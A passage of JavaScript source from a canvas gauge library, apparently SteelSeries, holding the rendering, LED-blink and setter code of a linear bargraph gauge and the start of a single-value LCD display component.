(drawBackground && backgroundVisible) { drawLinearBackgroundImage(backgroundContext, backgroundColor, imageWidth, imageHeight, vertical); } if (drawLed) { if (vertical) { // Draw LED ON in ledBuffer_ON ledContextOn.drawImage(createLedImage(ledSize, 1, ledColor), 0, 0); // Draw LED ON in ledBuffer_OFF ledContextOff.drawImage(createLedImage(ledSize, 0, ledColor), 0, 0); } else { // Draw LED ON in ledBuffer_ON ledContextOn.drawImage(createLedImage(ledSize, 1, ledColor), 0, 0); // Draw LED ON in ledBuffer_OFF ledContextOff.drawImage(createLedImage(ledSize, 0, ledColor), 0, 0); } } // Draw min measured value indicator in minMeasuredValueBuffer if (minMeasuredValueVisible) { if (vertical) { minMeasuredValueCtx.drawImage(createMeasuredValueImage(minMaxIndSize, steelseries.ColorDef.BLUE.dark.getRgbaColor(), false, vertical), 0, 0); } else { minMeasuredValueCtx.drawImage(createMeasuredValueImage(minMaxIndSize, steelseries.ColorDef.BLUE.dark.getRgbaColor(), false, vertical), 0, 0); } } // Draw max measured value indicator in maxMeasuredValueBuffer if (maxMeasuredValueVisible) { if (vertical) { maxMeasuredValueCtx.drawImage(createMeasuredValueImage(minMaxIndSize, steelseries.ColorDef.RED.medium.getRgbaColor(), false, vertical), 0, 0); } else { maxMeasuredValueCtx.drawImage(createMeasuredValueImage(minMaxIndSize, steelseries.ColorDef.RED.medium.getRgbaColor(), false, vertical), 0, 0); } } // Create alignment posts in background buffer (backgroundBuffer) if (drawBackground && backgroundVisible) { var valuePos; // Create tickmarks in background buffer (backgroundBuffer) drawTickmarksImage(backgroundContext, labelNumberFormat, vertical); // Draw threshold image to background context if (thresholdVisible) { backgroundContext.save(); if (vertical) { // Vertical orientation valuePos = imageHeight * 0.856796 - (imageHeight * 0.728155) * (threshold - minValue) / (maxValue - minValue); backgroundContext.translate(imageWidth * 0.365, valuePos - minMaxIndSize / 2); } else { // Horizontal orientation valuePos = (imageWidth * 0.856796 - imageWidth * 0.128640) * (threshold - minValue) / (maxValue - minValue); backgroundContext.translate(imageWidth * 0.142857 - minMaxIndSize / 2 + valuePos, imageHeight * 0.58); } backgroundContext.drawImage(createThresholdImage(vertical), 0, 0); backgroundContext.restore(); } // Create title in background buffer (backgroundBuffer) if (vertical) { drawTitleImage(backgroundContext, imageWidth, imageHeight, titleString, unitString, backgroundColor, vertical, null, lcdVisible); } else { drawTitleImage(backgroundContext, imageWidth, imageHeight, titleString, unitString, backgroundColor, vertical, null, lcdVisible); } } // Create lcd background if selected in background buffer (backgroundBuffer) if (drawBackground && lcdVisible) { if (vertical) { lcdBuffer = createLcdBackgroundImage(imageWidth * 0.571428, imageHeight * 0.055, lcdColor); backgroundContext.drawImage(lcdBuffer, ((imageWidth - (imageWidth * 0.571428)) / 2), imageHeight * 0.88); } else { lcdBuffer = createLcdBackgroundImage(imageWidth * 0.18, imageHeight * 0.15, lcdColor); backgroundContext.drawImage(lcdBuffer, imageWidth * 0.695, imageHeight * 0.22); } } // Draw leds of bargraph if (drawBargraphLed) { drawInActiveLed(inActiveLedContext); drawActiveLed(activeLedContext, valueColor); } // Convert Section values into pixels isSectionsVisible = false; if (null !== section && 0 < section.length) { isSectionsVisible = true; var sectionIndex = section.length; var top, bottom, fullSize, ledWidth2; if (vertical) { // Vertical orientation top = imageHeight * 0.128640; // position of max value bottom = imageHeight * 0.856796; // position of min value fullSize = bottom - top; ledWidth2 = 0; } else { // Horizontal orientation top = imageWidth * 0.856796; // position of max value bottom = imageWidth * 0.128640; fullSize = top - bottom; ledWidth2 = imageWidth * 0.012135 / 2; } sectionPixels = []; do { sectionIndex--; sectionPixels.push({start: (((section[sectionIndex].start + Math.abs(minValue)) / (maxValue - minValue)) * fullSize - ledWidth2), stop: (((section[sectionIndex].stop + Math.abs(minValue)) / (maxValue - minValue)) * fullSize - ledWidth2), color: customColorDef(section[sectionIndex].color)}); } while (0 < sectionIndex); } // Use a gradient for the valueColor? isGradientVisible = false; if (useValueGradient && valueGradient !== null) { // force section colors off! isSectionsVisible = false; isGradientVisible = true; } // Create foreground in foreground buffer (foregroundBuffer) if (drawForeground && foregroundVisible) { drawLinearForegroundImage(foregroundContext, imageWidth, imageHeight, vertical, false); } }; var resetBuffers = function (buffers) { buffers = buffers || {}; var resetFrame = (undefined === buffers.frame ? false : buffers.frame); var resetBackground = (undefined === buffers.background ? false : buffers.background); var resetLed = (undefined === buffers.led ? false : buffers.led); var resetBargraphLed = (undefined === buffers.bargraphled ? false : buffers.bargraphled); var resetForeground = (undefined === buffers.foreground ? false : buffers.foreground); if (resetFrame) { frameBuffer.width = width; frameBuffer.height = height; frameContext = frameBuffer.getContext('2d'); } if (resetBackground) { backgroundBuffer.width = width; backgroundBuffer.height = height; backgroundContext = backgroundBuffer.getContext('2d'); } if (resetBargraphLed) { if (vertical) { activeLedBuffer.width = width * 0.121428; activeLedBuffer.height = height * 0.012135; } else { activeLedBuffer.width = width * 0.012135; activeLedBuffer.height = height * 0.121428; } activeLedContext = activeLedBuffer.getContext('2d'); // Buffer for active bargraph led if (vertical) { inActiveLedBuffer.width = width * 0.121428; inActiveLedBuffer.height = height * 0.012135; } else { inActiveLedBuffer.width = width * 0.012135; inActiveLedBuffer.height = height * 0.121428; } inActiveLedContext = inActiveLedBuffer.getContext('2d'); } if (resetLed) { ledBufferOn.width = Math.ceil(width * 0.093457); ledBufferOn.height = Math.ceil(height * 0.093457); ledContextOn = ledBufferOn.getContext('2d'); ledBufferOff.width = Math.ceil(width * 0.093457); ledBufferOff.height = Math.ceil(height * 0.093457); ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code ledBuffer = ledBufferOff; } if (resetForeground) { foregroundBuffer.width = width; foregroundBuffer.height = height; foregroundContext = foregroundBuffer.getContext('2d'); } }; var blink = function (blinking) { if (blinking) { ledTimerId = setInterval(toggleAndRepaintLed, 1000); } else { clearInterval(ledTimerId); ledBuffer = ledBufferOff; } }; var toggleAndRepaintLed = function () { if (ledVisible) { if (ledBuffer === ledBufferOn) { ledBuffer = ledBufferOff; } else { ledBuffer = ledBufferOn; } if (!repainting) { repainting = true; requestAnimFrame(self.repaint); } } }; var drawValue = function (ctx, imageWidth, imageHeight) { var top; // position of max value var bottom; // position of min value var labelColor = backgroundColor.labelColor; var fullSize; var valueSize; var valueTop; var valueBackgroundStartX; var valueBackgroundStartY; var valueBackgroundStopX; var valueBackgroundStopY; var valueBorderStartX; var valueBorderStartY; var valueBorderStopX; var valueBorderStopY; var currentValue; var gradRange; var fraction; // Orientation dependend definitions if (vertical) { // Vertical orientation top = imageHeight * 0.128640; // position of max value bottom = imageHeight * 0.856796; // position of min value fullSize = bottom - top; valueSize = fullSize * (value - minValue) / (maxValue - minValue); valueTop = top + fullSize - valueSize; valueBackgroundStartX = 0; valueBackgroundStartY = top; valueBackgroundStopX = 0; valueBackgroundStopY = top + fullSize * 1.014; } else { // Horizontal orientation top = imageWidth * 0.856796; // position of max value bottom = imageWidth * 0.128640; fullSize = top - bottom; valueSize = fullSize * (value - minValue) / (maxValue - minValue); valueTop = bottom; valueBackgroundStartX = imageWidth * 0.13; valueBackgroundStartY = imageHeight * 0.435714; valueBackgroundStopX = valueBackgroundStartX + fullSize * 1.035; valueBackgroundStopY = valueBackgroundStartY; } var darker = (backgroundColor === steelseries.BackgroundColor.CARBON || backgroundColor === steelseries.BackgroundColor.PUNCHED_SHEET || backgroundColor === steelseries.BackgroundColor.STAINLESS || backgroundColor === steelseries.BackgroundColor.BRUSHED_STAINLESS || backgroundColor === steelseries.BackgroundColor.TURNED) ? 0.3 : 0; var valueBackgroundTrackGradient = ctx.createLinearGradient(valueBackgroundStartX, valueBackgroundStartY, valueBackgroundStopX, valueBackgroundStopY); labelColor.setAlpha(0.047058 + darker); valueBackgroundTrackGradient.addColorStop(0, labelColor.getRgbaColor()); labelColor.setAlpha(0.145098 + darker); valueBackgroundTrackGradient.addColorStop(0.48, labelColor.getRgbaColor()); labelColor.setAlpha(0.149019 + darker); valueBackgroundTrackGradient.addColorStop(0.49, labelColor.getRgbaColor()); labelColor.setAlpha(0.047058 + darker); valueBackgroundTrackGradient.addColorStop(1, labelColor.getRgbaColor()); ctx.fillStyle = valueBackgroundTrackGradient; if (vertical) { ctx.fillRect(imageWidth * 0.435714, top, imageWidth * 0.15, fullSize * 1.014); } else { ctx.fillRect(valueBackgroundStartX, valueBackgroundStartY, fullSize * 1.035, imageHeight * 0.152857); } if (vertical) { // Vertical orientation valueBorderStartX = 0; valueBorderStartY = top; valueBorderStopX = 0; valueBorderStopY = top + fullSize * 1.014; } else { // Horizontal orientation ; valueBorderStartX = valueBackgroundStartX; valueBorderStartY = 0; valueBorderStopX = valueBackgroundStopX; valueBorderStopY = 0; } var valueBorderGradient = ctx.createLinearGradient(valueBorderStartX, valueBorderStartY, valueBorderStopX, valueBorderStopY); labelColor.setAlpha(0.298039 + darker); valueBorderGradient.addColorStop(0, labelColor.getRgbaColor()); labelColor.setAlpha(0.686274 + darker); valueBorderGradient.addColorStop(0.48, labelColor.getRgbaColor()); labelColor.setAlpha(0.698039 + darker); valueBorderGradient.addColorStop(0.49, labelColor.getRgbaColor()); labelColor.setAlpha(0.4 + darker); valueBorderGradient.addColorStop(1, labelColor.getRgbaColor()); ctx.fillStyle = valueBorderGradient; if (vertical) { ctx.fillRect(imageWidth * 0.435714, top, imageWidth * 0.007142, fullSize * 1.014); ctx.fillRect(imageWidth * 0.571428, top, imageWidth * 0.007142, fullSize * 1.014); } else { ctx.fillRect(imageWidth * 0.13, imageHeight * 0.435714, fullSize * 1.035, imageHeight * 0.007142); ctx.fillRect(imageWidth * 0.13, imageHeight * 0.571428, fullSize * 1.035, imageHeight * 0.007142); } // Prepare led specific variables var ledX; var ledY; var ledW; var ledH; var ledCenterX; var ledCenterY; var activeLeds; var inactiveLeds; if (vertical) { // VERTICAL ledX = imageWidth * 0.45; ledY = imageHeight * 0.851941; ledW = imageWidth * 0.121428; ledH = imageHeight * 0.012135; ledCenterX = (ledX + ledW) / 2; ledCenterY = (ledY + ledH) / 2; } else { // HORIZONTAL ledX = imageWidth * 0.142857; ledY = imageHeight * 0.45; ledW = imageWidth * 0.012135; ledH = imageHeight * 0.121428; ledCenterX = (ledX + ledW) / 2; ledCenterY = (ledY + ledH) / 2; } var translateX, translateY; var activeLedColor; var lastActiveLedColor = valueColor; var i; // Draw the value if (vertical) { // Draw the inactive leds inactiveLeds = fullSize; for (translateY = 0 ; translateY <= inactiveLeds ; translateY += ledH + 1) { ctx.translate(0, -translateY); ctx.drawImage(inActiveLedBuffer, ledX, ledY); ctx.translate(0, translateY); } // Draw the active leds in dependence on the current value activeLeds = ((value - minValue) / (maxValue - minValue)) * fullSize; for (translateY = 0 ; translateY <= activeLeds ; translateY += ledH + 1) { //check for LED color activeLedColor = valueColor; // Use a gradient for value colors? if (isGradientVisible) { // Convert pixel back to value currentValue = minValue + (translateY / fullSize) * (maxValue - minValue); gradRange = valueGradient.getEnd() - valueGradient.getStart(); fraction = (currentValue - minValue) / gradRange; fraction = Math.max(Math.min(fraction, 1), 0); activeLedColor = customColorDef(valueGradient.getColorAt(fraction).getRgbaColor()); } else if (isSectionsVisible) { for (i = 0; i < sectionPixels.length; i++) { if (translateY >= sectionPixels[i].start && translateY < sectionPixels[i].stop) { activeLedColor = sectionPixels[i].color; break; } } } // Has LED color changed? If so redraw the buffer if (lastActiveLedColor.medium.getHexColor() !== activeLedColor.medium.getHexColor()) { drawActiveLed(activeLedContext, activeLedColor); lastActiveLedColor = activeLedColor; } // Draw LED ctx.translate(0, -translateY); ctx.drawImage(activeLedBuffer, ledX, ledY); ctx.translate(0, translateY); } } else { // Draw the inactive leds inactiveLeds = fullSize; for (translateX = -(ledW / 2) ; translateX <= inactiveLeds ; translateX += ledW + 1) { ctx.translate(translateX, 0); ctx.drawImage(inActiveLedBuffer, ledX, ledY); ctx.translate(-translateX, 0); } // Draw the active leds in dependence on the current value activeLeds = ((value - minValue) / (maxValue - minValue)) * fullSize; for (translateX = -(ledW / 2) ; translateX <= activeLeds ; translateX += ledW + 1) { //check for LED color activeLedColor = valueColor; if (isGradientVisible) { // Convert pixel back to value currentValue = minValue + (translateX / fullSize) * (maxValue - minValue); gradRange = valueGradient.getEnd() - valueGradient.getStart(); fraction = (currentValue - minValue) / gradRange; fraction = Math.max(Math.min(fraction, 1), 0); activeLedColor = customColorDef(valueGradient.getColorAt(fraction).getRgbaColor()); } else if (isSectionsVisible) { for (i = 0; i < sectionPixels.length; i++) { if (translateX >= sectionPixels[i].start && translateX < sectionPixels[i].stop) { activeLedColor = sectionPixels[i].color; break; } } } // Has LED color changed? If so redraw the buffer if (lastActiveLedColor.medium.getHexColor() !== activeLedColor.medium.getHexColor()) { drawActiveLed(activeLedContext, activeLedColor); lastActiveLedColor = activeLedColor; } ctx.translate(translateX, 0); ctx.drawImage(activeLedBuffer, ledX, ledY); ctx.translate(-translateX, 0); } } }; var drawInActiveLed = function (ctx) { ctx.save(); ctx.beginPath(); ctx.rect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.closePath(); var ledCenterX = (ctx.canvas.width / 2); var ledCenterY = (ctx.canvas.height / 2); var ledGradient = mainCtx.createRadialGradient(ledCenterX, ledCenterY, 0, ledCenterX, ledCenterY, ctx.canvas.width / 2); ledGradient.addColorStop(0, '#3c3c3c'); ledGradient.addColorStop(1, '#323232'); ctx.fillStyle = ledGradient; ctx.fill(); ctx.restore(); }; var drawActiveLed = function (ctx, color) { ctx.save(); ctx.beginPath(); ctx.rect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.closePath(); var ledCenterX = (ctx.canvas.width / 2); var ledCenterY = (ctx.canvas.height / 2); var outerRadius; if (vertical) { outerRadius = ctx.canvas.width / 2; } else { outerRadius = ctx.canvas.height / 2; } var ledGradient = mainCtx.createRadialGradient(ledCenterX, ledCenterY, 0, ledCenterX, ledCenterY, outerRadius); ledGradient.addColorStop(0, color.light.getRgbaColor()); ledGradient.addColorStop(1, color.dark.getRgbaColor()); ctx.fillStyle = ledGradient; ctx.fill(); ctx.restore(); }; //************************************ Public methods ************************************** this.setValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)); if (value !== targetValue) { value = targetValue; if (value > maxMeasuredValue) { maxMeasuredValue = value; } if (value < minMeasuredValue) { minMeasuredValue = value; } if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } this.repaint(); } return this; }; this.getValue = function () { return value; }; this.setValueAnimated = function (newValue, callback) { var targetValue, gauge = this, time; newValue = parseFloat(newValue); targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)); if (value !== targetValue) { if (undefined !== tween && tween.isPlaying) { tween.stop(); } time = fullScaleDeflectionTime * Math.abs(targetValue - value) / (maxValue - minValue); time = Math.max(time, fullScaleDeflectionTime / 5); tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, time); //tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, 1); //tween = new Tween(new Object(), '', Tween.strongEaseInOut, value, targetValue, 1); tween.onMotionChanged = function (event) { value = event.target._pos; if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } if (value > maxMeasuredValue) { maxMeasuredValue = value; } if (value < minMeasuredValue) { minMeasuredValue = value; } if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tween.onMotionFinished = callback; } tween.start(); } return this; }; this.resetMinMeasuredValue = function () { minMeasuredValue = value; this.repaint(); return this; }; this.resetMaxMeasuredValue = function () { maxMeasuredValue = value; this.repaint(); return this; }; this.setMinMeasuredValueVisible = function (visible) { minMeasuredValueVisible = !!visible; this.repaint(); return this; }; this.setMaxMeasuredValueVisible = function (visible) { maxMeasuredValueVisible = !!visible; this.repaint(); return this; }; this.setThresholdVisible = function (visible) { thresholdVisible = !!visible; this.repaint(); return this; }; this.setThresholdRising = function (rising) { thresholdRising = !!rising; // reset existing threshold alerts ledBlinking = !ledBlinking; blink(ledBlinking); this.repaint(); return this; }; this.setLcdDecimals = function (decimals) { lcdDecimals = parseInt(decimals, 10); this.repaint(); return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers({frame: true}); frameDesign = newFrameDesign; init({frame: true}); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers({background: true}); backgroundColor = newBackgroundColor; init({background: true}); this.repaint(); return this; }; this.setValueColor = function (newValueColor) { resetBuffers({bargraphled: true}); valueColor = newValueColor; init({bargraphled: true}); this.repaint(); return this; }; this.setLedColor = function (newLedColor) { resetBuffers({led: true}); ledColor = newLedColor; init({led: true}); this.repaint(); return this; }; this.setLedVisible = function (visible) { ledVisible = !!visible; this.repaint(); return this; }; this.setLcdColor = function (newLcdColor) { lcdColor = newLcdColor; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setSection = function (areaSec) { section = areaSec; init(); this.repaint(); return this; }; this.setSectionActive = function (value) { useSectionColors = value; init(); this.repaint(); return this; }; this.setGradient = function (grad) { valueGradient = grad; init(); this.repaint(); return this; }; this.setGradientActive = function (value) { useValueGradient = value; init(); this.repaint(); return this; }; this.setMaxMeasuredValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)); if (maxMeasuredValue !== targetValue) { maxMeasuredValue = targetValue; this.repaint(); } return this; }; this.setMinMeasuredValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)); if (minMeasuredValue !== targetValue) { minMeasuredValue = targetValue; this.repaint(); } return this; }; this.setTitleString = function (title) { titleString = title; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setUnitString = function (unit) { unitString = unit; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setMinValue = function (value) { minValue = parseFloat(value); resetBuffers({background: true, foreground: true, pointer: true}); init({background: true, foreground: true, pointer: true}); this.repaint(); return this; }; this.getMinValue = function () { return minValue; }; this.setMaxValue = function (value) { maxValue = parseFloat(value); resetBuffers({background: true, foreground: true, pointer: true}); init({background: true, foreground: true, pointer: true}); this.repaint(); return this; }; this.getMaxValue = function () { return maxValue; }; this.setThreshold = function (newValue) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)); if (threshold !== targetValue) { threshold = targetValue; resetBuffers({background: true}); init({background: true}); this.repaint(); } return this; }; this.setThresholdVisible = function (visible) { thresholdVisible = !!visible; this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init({frame: true, background: true, led: true, pointer: true, foreground: true, bargraphled: true}); } //mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); // Draw frame if (frameVisible) { mainCtx.drawImage(frameBuffer, 0, 0); } // Draw buffered image to visible canvas if (backgroundVisible) { mainCtx.drawImage(backgroundBuffer, 0, 0); } // Draw lcd display if (lcdVisible) { drawLcdText(mainCtx, value, vertical); } // Draw led if (ledVisible) { mainCtx.drawImage(ledBuffer, ledPosX, ledPosY); } var valuePos; var minMaxX, minMaxY; // Draw min measured value indicator if (minMeasuredValueVisible) { if (vertical) { valuePos = imageHeight * 0.856796 - (imageHeight * 0.728155) * (minMeasuredValue - minValue) / (maxValue - minValue); minMaxX = imageWidth * 0.34 - minMeasuredValueBuffer.width; minMaxY = valuePos - minMeasuredValueBuffer.height / 2; } else { valuePos = ((imageWidth * 0.856796) - (imageWidth * 0.128640)) * (minMeasuredValue - minValue) / (maxValue - minValue); minMaxX = imageWidth * 0.142857 - minMeasuredValueBuffer.height / 2 + valuePos; minMaxY = imageHeight * 0.65; } mainCtx.drawImage(minMeasuredValueBuffer, minMaxX, minMaxY); } // Draw max measured value indicator if (maxMeasuredValueVisible) { if (vertical) { valuePos = imageHeight * 0.856796 - (imageHeight * 0.728155) * (maxMeasuredValue - minValue) / (maxValue - minValue); minMaxX = imageWidth * 0.34 - maxMeasuredValueBuffer.width; minMaxY = valuePos - maxMeasuredValueBuffer.height / 2; } else { valuePos = ((imageWidth * 0.856796) - (imageWidth * 0.128640)) * (maxMeasuredValue - minValue) / (maxValue - minValue); minMaxX = imageWidth * 0.142857 - maxMeasuredValueBuffer.height / 2 + valuePos; minMaxY = imageHeight * 0.65; } mainCtx.drawImage(maxMeasuredValueBuffer, minMaxX, minMaxY); } mainCtx.save(); drawValue(mainCtx, imageWidth, imageHeight); mainCtx.restore(); // Draw foreground if (foregroundVisible) { mainCtx.drawImage(foregroundBuffer, 0, 0); } repainting = false; }; // Visualize the component this.repaint(); return this; }; var displaySingle = function (canvas, parameters) { parameters = parameters || {}; var width = (undefined === parameters.width ? 0 : parameters.width), height = (undefined === parameters.height ? 0 : parameters.height), lcdColor = (undefined === parameters.lcdColor ? steelseries.LcdColor.STANDARD : parameters.lcdColor), lcdDecimals = (undefined === parameters.lcdDecimals ? 2 : parameters.lcdDecimals), unitString = (undefined === parameters.unitString ? '' : parameters.unitString), unitStringVisible = (undefined === parameters.unitStringVisible ? false : parameters.unitStringVisible), headerString = (undefined === parameters.headerString ? '' : parameters.headerString), headerStringVisible = (undefined === parameters.headerStringVisible ? false : parameters.headerStringVisible), digitalFont = (undefined === parameters.digitalFont ? false : parameters.digitalFont), valuesNumeric = (undefined === parameters.valuesNumeric ? true : parameters.valuesNumeric), value = (undefined === parameters.value ? 0 : parameters.value), alwaysScroll = (undefined === parameters.alwaysScroll ? false : parameters.alwaysScroll), autoScroll = (undefined === parameters.autoScroll ? false : parameters.autoScroll), section = (undefined === parameters.section ? null : parameters.section); var scrolling = false; var scrollX = 0; var scrollTimer; var repainting = false; var self = this; // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (width === 0) { width = mainCtx.canvas.width; } if (height === 0) { height = mainCtx.canvas.height; } // Set the size - also clears the canvas mainCtx.canvas.width = width; mainCtx.canvas.height = height; var imageWidth = width; var imageHeight = height; var textWidth = 0; var fontHeight = Math.floor(imageHeight / 1.5); var stdFont = fontHeight + 'px ' + stdFontName; var lcdFont = fontHeight + 'px ' + lcdFontName; var initialized = false; // ************** Buffer creation ******************** // Buffer for the lcd var lcdBuffer; var sectionBuffer = []; var sectionForegroundColor = []; // ************** Image creation ******************** var drawLcdText = function (value, color) { mainCtx.save(); mainCtx.textAlign = 'right'; //mainCtx.textBaseline = 'top'; mainCtx.strokeStyle = color; mainCtx.fillStyle = color; mainCtx.beginPath(); mainCtx.rect(2, 0, imageWidth - 4, imageHeight); mainCtx.closePath(); mainCtx.clip(); if ((lcdColor === steelseries.LcdColor.STANDARD || lcdColor === steelseries.LcdColor.STANDARD_GREEN) && section === null) { mainCtx.shadowColor = 'gray'; mainCtx.shadowOffsetX = imageHeight * 0.035; mainCtx.shadowOffsetY = imageHeight * 0.035; mainCtx.shadowBlur = imageHeight * 0.055; } mainCtx.font = digitalFont ? lcdFont : stdFont; if (valuesNumeric) { // Numeric value var unitWidth = 0; textWidth = 0; if (unitStringVisible) { mainCtx.font = Math.floor(imageHeight / 2.5) + 'px ' + stdFontName; unitWidth = mainCtx.measureText(unitString).width; } mainCtx.font = digitalFont ? lcdFont : stdFont; var lcdText = value.toFixed(lcdDecimals); textWidth = mainCtx.measureText(lcdText).width; var vPos = 0.38; if (headerStringVisible) { vPos = 0.52; } mainCtx.fillText(lcdText, imageWidth - unitWidth - 4 - scrollX, imageHeight * 0.5 + fontHeight * vPos); if (unitStringVisible) { mainCtx.font = Math.floor(imageHeight / 2.5) + 'px ' + stdFontName; mainCtx.fillText(unitString, imageWidth - 2 - scrollX, imageHeight * 0.5 + fontHeight * vPos); } if (headerStringVisible) { mainCtx.textAlign = 'center'; mainCtx.font = Math.floor(imageHeight / 3.5) + 'px ' + stdFontName; mainCtx.fillText(headerString, imageWidth / 2, imageHeight * 0.3); } } else { // Text value textWidth = mainCtx.measureText(value).width; if (alwaysScroll || (autoScroll && textWidth > imageWidth - 4)) { if (!scrolling) { if (textWidth > imageWidth * 0.8) { scrollX = imageWidth - textWidth - imageWidth * 0.2; // leave 20% blank leading space to give time to read start of message } else { scrollX = 0; } scrolling = true; clearTimeout(scrollTimer); // kill any pending animate scrollTimer = setTimeout(animate, 200); } } else if (autoScroll && textWidth <= imageWidth - 4) { scrollX = 0; scrolling = false; } mainCtx.fillText(value, imageWidth - 2 - scrollX, imageHeight * 0.5 + fontHeight * 0.38); } mainCtx.restore(); }; var createLcdSectionImage = function (width, height, color, lcdColor) { var lcdSectionBuffer = createBuffer(width, height); var lcdCtx = lcdSectionBuffer.getContext('2d'); lcdCtx.save(); var xB = 0; var yB = 0; var wB = width; var hB = height; var rB = Math.min(width, height) * 0.095; var lcdBackground = lcdCtx.createLinearGradient(0, yB, 0, yB + hB); lcdBackground.addColorStop(0, '#4c4c4c'); lcdBackground.addColorStop(0.08, '#666666'); lcdBackground.addColorStop(0.92, '#666666'); lcdBackground.addColorStop(1, '#e6e6e6'); lcdCtx.fillStyle = lcdBackground; roundedRectangle(lcdCtx, xB, yB, wB, hB, rB); lcdCtx.fill(); lcdCtx.restore(); lcdCtx.save(); var rgb = getColorValues(color); var hsb = rgbToHsb(rgb[0], rgb[1], rgb[2]); var rgbStart = getColorValues(lcdColor.gradientStartColor); var hsbStart = rgbToHsb(rgbStart[0], rgbStart[1], rgbStart[2]); var rgbFraction1 = getColorValues(lcdColor.gradientFraction1Color); var hsbFraction1 = rgbToHsb(rgbFraction1[0], rgbFraction1[1], rgbFraction1[2]); var rgbFraction2 = getColorValues(lcdColor.gradientFraction2Color); var hsbFraction2 = rgbToHsb(rgbFraction2[0], rgbFraction2[1], rgbFraction2[2]); var rgbFraction3 = getColorValues(lcdColor.gradientFraction3Color); var hsbFraction3 = rgbToHsb(rgbFraction3[0], rgbFraction3[1], rgbFraction3[2]); var rgbStop = getColorValues(lcdColor.gradientStopColor); var hsbStop = rgbToHsb(rgbStop[0], rgbStop[1], rgbStop[2]); var startColor = hsbToRgb(hsb[0], hsb[1], hsbStart[2] - 0.31); var fraction1Color = hsbToRgb(hsb[0], hsb[1], hsbFraction1[2] - 0.31); var fraction2Color = hsbToRgb(hsb[0], hsb[1], hsbFraction2[2] - 0.31); var fraction3Color = hsbToRgb(hsb[0], hsb[1], hsbFraction3[2] - 0.31); var stopColor = hsbToRgb(hsb[0], hsb[1], hsbStop[2] - 0.31); var xF = 1; var yF = 1; var wF = width - 2; var hF = height - 2; var rF = rB - 1; var lcdForeground = lcdCtx.createLinearGradient(0, yF, 0, yF + hF); lcdForeground.addColorStop(0, 'rgb(' + startColor[0] + ', ' + startColor[1] + ', ' + startColor[2] + ')'); lcdForeground.addColorStop(0.03, 'rgb(' + fraction1Color[0] + ',' + fraction1Color[1] + ',' + fraction1Color[2] + ')'); lcdForeground.addColorStop(0.49, 'rgb(' + fraction2Color[0] + ',' + fraction2Color[1] + ',' + fraction2Color[2] + ')'); lcdForeground.addColorStop(0.5, 'rgb(' + fraction3Color[0] + ',' + fraction3Color[1] + ',' + fraction3Color[2] + ')'); lcdForeground.addColorStop(1, 'rgb(' + stopColor[0] + ',' + stopColor[1] + ',' + stopColor[2] + ')'); lcdCtx.fillStyle = lcdForeground; roundedRectangle(lcdCtx, xF, yF, wF, hF, rF); lcdCtx.fill(); lcdCtx.restore(); return lcdSectionBuffer; }; var createSectionForegroundColor = function (sectionColor) { var rgbSection = getColorValues(sectionColor); var hsbSection = rgbToHsb(rgbSection[0], rgbSection[1], rgbSection[2]); var sectionForegroundRgb = hsbToRgb(hsbSection[0], 0.57, 0.83); return 'rgb(' + sectionForegroundRgb[0] + ', ' + sectionForegroundRgb[1] + ', ' + sectionForegroundRgb[2] + ')'; }; var animate = function () { if (scrolling) { if (scrollX > imageWidth) { scrollX = -textWidth; } scrollX += 2; scrollTimer = setTimeout(animate, 50); } else { scrollX = 0; } if (!repainting) { repainting = true; requestAnimFrame(self.repaint); } }; // ************** Initialization ******************** var init = function () { var sectionIndex; initialized = true; // Create lcd background if selected in background buffer (backgroundBuffer) lcdBuffer = createLcdBackgroundImage(width, height, lcdColor); if (null !== section && 0 < section.length) { for (sectionIndex = 0 ; sectionIndex < section.length ; sectionIndex++) { sectionBuffer[sectionIndex] = createLcdSectionImage(width, height, section[sectionIndex].color, lcdColor); sectionForegroundColor[sectionIndex] = createSectionForegroundColor(section[sectionIndex].color); } } }; // ************** Public methods ******************** this.setValue = function (newValue) { if (value !== newValue) { value = newValue; this.repaint(); } return this; }; this.setLcdColor = function (newLcdColor) { lcdColor = newLcdColor; init(); this.repaint(); return this; }; this.setSection = function (newSection) { section = newSection; init({background: true, foreground: true}); this.repaint(); return this; }; this.setScrolling = function (scroll) { if (scroll) { if (scrolling) { return; } else { scrolling = scroll; animate(); } } else { //disable scrolling scrolling = scroll; } return this; }; this.repaint = function () { if (!initialized) { init(); } //mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); var lcdBackgroundBuffer = lcdBuffer; var lcdTextColor = 